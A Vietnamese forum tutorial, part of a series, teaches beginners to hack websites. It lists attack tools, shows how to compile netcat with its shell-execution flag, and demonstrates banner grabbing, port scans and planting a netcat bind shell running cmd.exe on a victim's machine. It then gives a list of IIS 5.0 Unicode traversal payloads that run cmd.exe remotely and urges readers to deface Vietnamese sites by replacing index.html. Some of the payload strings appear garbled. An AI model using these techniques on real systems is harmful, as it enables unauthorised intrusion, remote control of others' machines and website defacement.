(Trích quan tri mang)
47.) Các
công cụ cần thiết để hack Web :
Đối với các hacker chuyên nghiệp th́ họ sẽ không
cần sử dụng những công cụ này mà họ sẽ trực tiếp setup phiên
bản mà trang Web nạn nhân sử dụng trên máy của ḿnh để test
lỗi . Nhưng đối với các bạn mới “vào nghề” th́ những công cụ
này rất cần thiết , hăy sử dụng chúng một vài lần bạn sẽ
biết cách phối hợp chúng để việc t́m ra lỗi trên các trang
Web nạn nhân được nhanh chóng nhất . Sau đây là một số công
cụ bạn cần phải có trên máy “làm ăn” của ḿnh :
Công cụ thứ 1 : Một cái proxy dùng để
che dấu IP và vượt tường lửa khi cần ( Cách tạo 1 cái Proxy
tôi đă bày ở phần 7 , các bạn hăy xem lại nhé ) .
Công cụ thứ 2 : Bạn cần có 1 shell account, cái này
thực sự quan trọng đối với bạn . Một shell account tốt là 1
shell account cho phép bạn chạy các chương tŕnh chính như
nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và
shell account đó cần phải cài chương tŕnh GCC ( rất quan
trọng trong việc dịch (compile) các exploit được viết bằng
C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu
lệnh và chức năng hơn DOS . Thông thường khi bạn cài Unix
th́ bạn sẽ có 1 shell account, nếu bạn không cài Unix th́
bạn nên đăng kư trên mạng 1 shell account free hoặc nếu có
ai đó cài Unix và thiết lập cho bạn 1 shell account th́ bạn
có thể log vào telnet (Start -- > Run -- > gơ Telnet) để
dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể
đăng kư free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.ht ml
http://www.ultrashell.net/
Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và
mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối
với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ nào đang
chạy trên server (services / ports : webserver , ftpserver ,
pop3,...),server đang dùng hệ điều hành ǵ,loại tường lửa mà
server sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP
hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP
protocol , Null scan , TCP SYN (half open),... NMAP được
đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà
quản trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại
http://www.insecure.org/ .
Công cụ thứ 4 : Stealth HTTP Security Scanner là công
cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét
được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits
khác.
Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu
trúc của một Website gồm những thư mục và file nào, nó có
thể liệt kê được cả thư mục và file có set password. Rất
tiện cho việc Hack Website v́ trước khi bạn Hack một Website
th́ bạn phải nắm một số thông tin của Admin và Website đó.
Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu
qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng
Netcat 1 cách trực tiếp hoặc sử dụng chương tŕnh script
khác để điều khiển Netcat. Netcat được coi như 1
exploitation tool do nó có thể tạo được liên kết giữa bạn và
server cho việc đọc và ghi dữ liệu ( tất nhiên là khi Netcat
đă được cài trên 1 server bị lỗI ). Mọi thông tin về Netcat
bạn có thể tham khảo tại
http://www.l0pht.com/ .
Công cụ thứ 7 : Active Perl là công cụ đọc các file
Perl đuôi *.pl v́ các exploit thường được viết bằng Perl .
Nó c̣n được sử dụng để thi hành các lệnh thông qua các file
*.pl .
Công cụ thứ 8 : Linux là hệ điều hành hầu hết các
hacker đều sử dụng.
Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack
Password của Windows NT/2000 .
Cách Download tôi đă bày rồi nên không nói ở đây , các bạn
khi Download nhớ chú ư đến các phiên bản của chúng , phiên
bản nào có số lớn nhất th́ các bạn hăy Down về mà sài v́ nó
sẽ có thêm một số tính năng mà các phiên bản trước chưa có .
Nếu down về mà các bạn không biết sử dụng th́ t́m lại các
bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không
thấy th́ cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn
.
48.) Hướng dẫn sử dụng Netcat :
a . ) Giới thiệu : Netcat là một công cụ không thể
thiếu được nếu bạn muốn hack một website nào đó v́ nó rất
mạnh và tiện dụng . Do đó bạn cần biết một chút về Netcat .
b . ) Biên dịch :
_ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước
khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ t́m ḍng res_init(); trong main() và thêm vào trước 2 dấu
``/``: // res_init();
+ thêm 2 ḍng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ
cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc,
thêm vào ``:.``
PATH=/sbin:/usr/sbin:...:.
_ Bản Netcat cho Win không cần phải compile v́ đă có sẵn
file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
c . ) Các tùy chọn của Netcat :
_ Netcat chạy ở chế độ ḍng lệnh. Bạn chạy nc -h để biết các
tham số:
CODE
C:\ > nc -h
connect to somewhere: nc [-options] hostname port [ports]
...
listen for inbound: nc -l -p port [options] [hostname]
[port]
options:
-d ----------- tách Netcat khỏi cửa sổ lệnh hay là console,
Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh
Taskbar)
-e prog --- thi hành chương tŕnh prog, thường dùng trong
chế độ lắng nghe
-h ----------- gọi hướng dẫn
-i secs ----- tŕ hoăn secs mili giây trước khi gởi một ḍng
dữ liệu đi
-l ------------- đặt Netcat vào chế độ lắng nghe để chờ các
kết nối đến
-L ------------ buộc Netcat ``cố`` lắng nghe. Nó sẽ lắng
nghe trở lại sau mỗi khi ngắt một kết nối.
-n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như
192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o ------------ file ghi nhật kí vào file
-p port ----- chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr ----- giả mạo địa chỉ IP nguồn là addr
-t ------------- không gởi các thông tin phụ đi trong một
phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd),
telnetd thường yêu cầu tŕnh telnet client của bạn gởi đến
các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử
dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi
các thông tin này đến telnetd.
-u ------------- dùng UDP(mặc định netcat dùng TCP)
-v ------------- hiển thị chi tiết các thông tin về kết nối
hiện tại.
-vv ----------- sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs ---- đặt thời gian timeout cho mỗi kết nối là secs
mili giây
-z ------------- chế độ zero I/O, thường được sử dụng khi
scan port
Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là
cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080
d . ) T́m hiểu Netcat qua các VD :
_ Chộp banner của web server :
Ví dụ: nc đến 172.16.84.2, cổng 80
CODE
C:\ > nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gơ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19
(Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html
Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v (
-vv sẽ
cho biết các thông tin chi tiết hơn nữa)
C:\ > nc -vv 172.16.84.1 80
CODE
172.16.84.1: inverse host lookup failed: h_errno 11004:
NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: ``0-cec-3899eaea``
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK
Nếu muốn ghi nhật kí, hăy dùng -o . Ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80
xem file nhat_ki.log xem thử nó đă ghi những ǵ nhé :
CODE
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d #
HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 #
.Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 #
eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 #
GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e #
ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 #
32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 #
ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d #
2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d #
T..ETag: ``0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 #
3899eaea``..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d #
t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a #
.Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f #
3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e #
n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d #
t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....
dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server
_ Quét cổng :
Bạn hăy chạy netcat với tùy chọn –z . Nhưng để quét cổng
nhanh hơn, bạn hăy dùng -n v́ netcat sẽ không cần thấm vấn
DNS. Ví dụ để scan các cổng TCP(1- > 500) của host
172.16.106.1
CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open
nếu bạn cần scan các cổng UDP, dùng -u
CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
_ Biến Netcat thành một trojan :
Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ
lắng nghe, dùng tùy chọn –l ( listen ) và -p port để xác
định số hiệu cổng cần lắng nghe, -e
để yêu cầu netcat thi hành 1
chương tŕnh khi có 1 kết nối đến, thường là shell lệnh
cmd.exe ( đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:
CODE
E:\ > nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error
Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối
đến máy nạn nhân trên cổng đă định, chẳng hạn như 8080
CODE
C:\ > nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\ > cd test
cd test
E:\test > dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test > exit
exit
sent 20, rcvd 450: NOTSOCK
Như các bạn đă thấy , ta có thể làm những ǵ trên máy của
nạn nhân rồi , chỉ cần một số lệnh cơ bản , ta đă chiếm được
máy tính của đối phương , các bạn hăy xem tiếp nhé :
CODE
E:\ > nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...?
?
Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên
cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_ip_của_máy_này
> . Ví dụ:
CODE
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang
lắng nghe
...
E:\ > nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 - > lắng
nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?
Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần
phải có quyền Administrator, chỉ cần login vào với 1
username b́nh thường khởi động Netcat là xong.
Chú ư: bạn không thể chạy netcat với ... -u -e cmd.exe...
hoặc ...-u -e /bin/sh... v́ netcat sẽ không làm việc đúng.
Nếu bạn muốn có một UDP shell trên Unix, hăy dùng udpshell
thay cho netcat.
( Dựa theo bài viết của huynh Vicky )
49.) Kỹ thuật hack IIS server 5.0
:
_ IIS server với các phiên bản từ trước đến phiên bản 5.0
đều có lỗi để ta có thể khai thác , do bây giờ hầu hết mọi
người đều dùng IIS server 5.0 nên lỗi ở các phiên bản trước
tôi không đề cập đến . Bây giờ tôi sẽ bày các bạn cách hack
thông qua công cụ activeperl và IE , các bạn có thể vận dụng
cho các trang Web ở VN v́ chúng bị lỗi này rất nhiều . Ta
hăy bắt đầu nhé .
_ Trước hết các bạn hăy download activeperl và Unicode.pl .
_ Sử dụng telnet để xác định trang Web ta tấn công có sử
dụng IIS server 5.0 hay không :
CODE
telnet < tên trang Web > 80
GET HEAD / HTTP/1.0
Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương
tŕnh ǵ th́ các bạn hăy thay đổi cổng 80 bằng các cổng khác
như 8080, 81, 8000, 8001 .v.v…
_ Sau khi đă xác định được mục tiêu các bạn vào DOS gơ :
CODE
perl unicode.pl
Host: ( gơ địa chỉ server mà các bạn muốn hack )
Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đă
telnet trước đó ) .
_ Các bạn sẽ thấy bảng liệt kê lỗi ( đă được lập tŕnh trong
Unicode.pl ) như sau :
CODE
[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.ex e?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe
?/c+
[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/ cmd.exe?/c+
[14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0 \%80\%af../winnt/system32/cmd.exe?/c+
[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0% af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0% af../winnt/system32/cmd.exe?/c+
[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af../winnt/system32/cmd.exe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0 %af../winnt/system32/cmd.exe?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0 %af../winnt/system32/cmd.exe?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af../winnt/system32/cmd.exe?/c+
Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn
nhân bị tất cả những lỗi như vậy , nếu server của nạn nhân
chỉ bị lỗi thứ 13 và 17 th́ bảng kết quả chỉ xuất hiện ḍng
thứ 13 và 17 mà thôi .
Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân
bị lỗi thứ 3 và 7 , tôi sẽ ra IE và nhập đoạn mă tương ứng
trên Address :
http://www.xxx.com/scripts/..%c1%p
c../winnt/system32/cmd.exe?/c+ < == lỗi ḍng thứ 3
hoặc
http://www.xxx.com/scripts/..%c1%1
c../winnt/system32/cmd.exe?/c+ < == lỗi ḍng thứ 7
Đến đây các bạn đă có thể xâm nhập vào server của nạn nhân
rồi đó , các bạn hăy sử dụng lệnh trong DOS mà khai thác
thông tin trong này . Thông thường các trang Web nằm ở thư
mục vinetpub\wwwroot , các bạn vào được rồI th́ chỉ cần thay
index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé
.
GOOKLUCK!!!!!!!!!!!!!!!
( Hết phần 8 )
Tác giả: Anhdenday - HVAonline